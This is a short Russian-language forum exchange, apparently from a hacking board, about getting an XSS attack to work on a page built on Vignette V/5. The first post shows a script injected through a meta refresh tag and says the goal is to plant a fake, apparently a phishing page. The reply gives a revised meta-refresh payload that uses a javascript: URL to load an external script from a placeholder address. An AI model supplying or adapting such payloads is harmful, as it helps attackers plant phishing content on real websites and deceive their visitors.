подскажите как можно атрибет тега <meta http-equiv="refresh" content="> "refresh" отменить а то при попытке сделать XSS вот код страницы <!-- Vignette V/5 Tue Dec 26 01:36:13 2006 --> <meta http-equiv="refresh" content="0;url="><script>alert('555555555')</script>"> происходит постоянно обновление страницы а так хотелось туда ФЕЙк вставить))
Вот можно так(проверено только в IE): <!-- Vignette V/5 Tue Dec 26 01:36:13 2006 --> <meta http-equiv="refresh" content="0;url=javascript:document.write('<script language=\'JavaScript\' src=\'http://Путь_до_фейка\'></script>');"> Думаю смысл понял
